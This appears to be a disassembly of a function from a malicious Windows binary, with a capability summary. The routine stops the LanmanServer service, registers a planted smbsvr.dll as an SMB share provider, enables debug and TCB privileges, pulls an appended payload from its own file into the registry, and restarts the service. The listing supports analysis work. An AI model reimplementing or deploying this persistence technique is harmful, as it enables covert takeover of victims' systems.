Function at 0x1400054e0
Capabilities:
Acquire debug privileges
Get common file path
Persist via windows service
Read file on windows
Set registry value
Terminate process
Write file on windows

Disassembly:
jmp 0x1400054e0
push rbp
push r15
lea rbp, [rsp - 0x1ae8]
mov eax, 0x1be8
call fcn.140010230
sub rsp, rax
mov rax, qword [0x14001d008]
xor rax, rsp
mov qword [rbp + 0x1ac0], rax
xor r15d, r15d
lea rcx, [rbp + 0x2c0]
xor edx, edx
mov qword [rsp + 0x50], r15
mov r8d, 0x800
call fcn.140007030
xor edx, edx
lea rcx, [rbp + 0xac0]
mov r8d, 0x800
call fcn.140007030
xor edx, edx
lea rcx, [rbp + 0x12c0]
mov r8d, 0x800
call fcn.140007030
lea rcx, str.sc_stop_lanmanserver
call fcn.140001190
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x400
lea rcx, [rbp + 0xac0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea r9, str.smbsvr.dll
lea r8, [rbp + 0xac0]
lea rdx, str._s_s
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rax, [rsp + 0x50]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SYSTEMCurrentControlSet_servicesLanmanServerShareProviders
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000561c
lea rcx, [rbp + 0x2c0]
mov rax, 0xffffffffffffffff
cmp word [rcx + rax*2 + 2], r15w
lea rax, [rax + 1]
jne 0x1400055d2
mov rcx, qword [rsp + 0x50]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rdx, str.SMB_Share_Provider
mov dword [rsp + 0x5c], eax
mov r9d, 1
lea rax, [rbp + 0x2c0]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140005b74
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140005b74
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, str.SeDebugPrivilege
call fcn.140005b90
lea rcx, str.SeAssignPrimaryTokenPrivilege
call fcn.140005b90
lea rcx, str.SeTcbPrivilege
call fcn.140005b90
mov rcx, qword [0x14001ed50]
lea rdx, [rbp + 0x12c0]
mov r8d, 0x400
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140005b74
xor r9d, r9d
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
lea rcx, [rbp + 0x12c0]
mov edx, 0x80000000
mov qword [rsp + 0x1c10], rdi
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140005b6c
mov qword [rsp + 0x1c00], rbx
mov r9d, 2
mov ebx, 0xfffffffc
mov qword [rsp + 0x1bd8], r13
mov edx, ebx
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea r9, [rsp + 0x58]
mov qword [rsp + 0x20], r15
lea r8d, [rbx + 8]
mov rcx, rdi
lea rdx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_ReadFile]
sub ebx, dword [rsp + 0x48]
mov r9d, 2
mov edx, ebx
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edx, dword [rsp + 0x48]
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov r13, rax
test rax, rax
jne 0x140005744
test rdi, rdi
je 0x140005b5c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140005b5c
mov r8d, dword [rsp + 0x48]
lea r9, [rsp + 0x58]
mov rdx, r13
mov qword [rsp + 0x1c08], rsi
mov rcx, rdi
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_ReadFile]
test rdi, rdi
je 0x140005775
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [rsp + 0x58]
mov ecx, 0x348
call fcn.140005db4
xor edx, edx
mov qword [rsp + 0x40], rax
mov r8d, 0x348
mov rcx, rax
mov rdi, rax
call fcn.140007030
lea rbx, [rdi + 0x13c]
mov qword [rdi], r15
mov rdx, rbx
mov dword [rdi + 8], 0xffffffff
mov ecx, 0x104
mov dword [rdi + 0x138], 0xffffffff
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
sub rbx, 2
nop dword [rax + rax]
cmp word [rbx + 2], r15w
lea rbx, [rbx + 2]
jne 0x1400057d0
mov eax, dword [0x140018a18]
mov ecx, 0x28
mov qword [rsp + 0x1be0], r12
mov qword [rsp + 0x1bd0], r14
mov dword [rbx], eax
call fcn.140005db4
mov rcx, rax
mov word [rax], 0x100
mov qword [rax + 0x18], r13
mov dword [rax + 0x20], esi
mov dword [rax + 0x24], r15d
mov dword [rax + 0x14], r15d
call fcn.140003f40
mov qword [rdi], rax
mov eax, dword [0x14001ed58]
mov dword [0x14001ed48], eax
test eax, eax
je 0x140005970
mov edx, 0x348
mov rcx, rdi
call fcn.140005df0
mov r12d, dword [rbp + 0x2bc]
mov ecx, 0x40
mov edx, r12d
mov dword [0x14001ed48], 0x10000
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov r15, rax
mov dword [0x14001ed48], 0x10000
xor edi, edi
xor r9d, r9d
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80
lea rcx, [rbp + 0x2c0]
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r14, qword [rsp + 0x1bd0]
mov rbx, rax
mov rsi, qword [rsp + 0x1c08]
cmp rax, 0xffffffffffffffff
je 0x140005b54
lea r9, [rsp + 0x5c]
mov qword [rsp + 0x20], rdi
mov r8d, r12d
mov rdx, r15
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test r15, r15
je 0x1400058dd
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_LocalFree]
test rbx, rbx
je 0x1400058eb
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x50]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SYSTEMCurrentControlSetControlWMISecurity
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140005b54
mov eax, dword [rsp + 0x48]
lea rdx, str.4afa1dfaf_7afc_4d06_cc1d_8feabc5cdf765
mov rcx, qword [rsp + 0x50]
mov r9d, 3
mov dword [rsp + 0x28], eax
xor r8d, r8d
mov qword [rsp + 0x20], r13
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rcx, str.sc_start_lanmanserver
call fcn.140001190
call fcn.140001000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x10
call fcn.140005db4
mov r8d, 2
mov r14, rax
mov dword [rax], 1
mov qword [rax + 8], rdi
mov rcx, qword [rdi]
call fcn.1400044b0
test eax, eax
je 0x1400059a8
mov dword [0x14001ed48], 0x500
jmp 0x140005a6f
cmp dword [rdi + 8], 0xffffffff
je 0x1400059b6
mov rcx, qword [rdi]
call fcn.140004cc0
mov rax, qword [rdi]
lea r8, [rsp + 0x60]
mov dword [rdi + 8], 0xffffffff
mov rcx, rdi
mov edx, dword [rax + 0x14]
call fcn.140004df0
test eax, eax
je 0x1400059df
mov dword [0x14001ed48], eax
jmp 0x140005a6f
mov eax, dword [rsp + 0x60]
lea rcx, [rbp + 0x94]
mov dword [rbp + 0x90], eax
xor edx, edx
mov eax, dword [rbp + 0x68]
mov r8d, 0x206
mov dword [rbp + 0x29c], eax
mov rax, qword [rbp + 0x6c]
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x74]
mov qword [rbp + 0x2a8], rax
mov rax, qword [rbp + 0x7c]
mov qword [rbp + 0x2b0], rax
mov eax, dword [rbp + 0x84]
mov dword [rbp + 0x2b8], eax
mov eax, dword [rbp + 0x88]
mov dword [rbp + 0x2bc], eax
mov dword [0x14001ed48], r15d
call fcn.140007030
lea rax, [rbp + 0x94]
mov dword [rsp + 0x28], 0x103
mov r9d, 0xffffffff
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x64]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov r12d, dword [rbp + 0x2bc]
mov ecx, 0x40
mov edx, r12d
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov r15, rax
test r14, r14
je 0x14000585f
mov eax, dword [r14]
cmp eax, 1
je 0x140005a9f
mov ecx, 0x80000
jmp 0x140005ab3
mov rcx, qword [r14 + 8]
mov r9d, r12d
mov r8, r15
call fcn.140005370
mov ecx, eax
mov eax, dword [r14]
mov dword [0x14001ed48], ecx
cmp eax, 1
je 0x140005acd
mov dword [0x14001ed48], 0x80000
jmp 0x140005869
mov rbx, qword [r14 + 8]
cmp dword [rbx + 8], 0xffffffff
je 0x140005adf
mov rcx, qword [rbx]
call fcn.140004cc0
mov rdi, qword [rbx]
mov dword [rbx + 8], 0xffffffff
test rdi, rdi
je 0x140005b2c
cmp qword [rdi + 0x80], 0
je 0x140005b00
mov rcx, rdi
call fcn.140004cc0
mov rsi, qword [rdi]
test rsi, rsi
je 0x140005b24
cmp byte [rsi], 0
je 0x140005b17
mov rcx, qword [rsi + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x28
mov rcx, rsi
call fcn.140005df0
mov rcx, rdi
call fcn.140007c20
xor edi, edi
mov edx, 0x348
mov rcx, rbx
mov qword [rbx], rdi
mov dword [0x14001ed48], edi
call fcn.140005df0
lea edx, [rdi + 0x10]
mov rcx, r14
call fcn.140005df0
jmp 0x14000586b
mov r12, qword [rsp + 0x1be0]
mov rbx, qword [rsp + 0x1c00]
mov r13, qword [rsp + 0x1bd8]
mov rdi, qword [rsp + 0x1c10]
mov rcx, qword [rbp + 0x1ac0]
xor rcx, rsp
call fcn.140005d90
add rsp, 0x1be8
pop r15
pop rbp
ret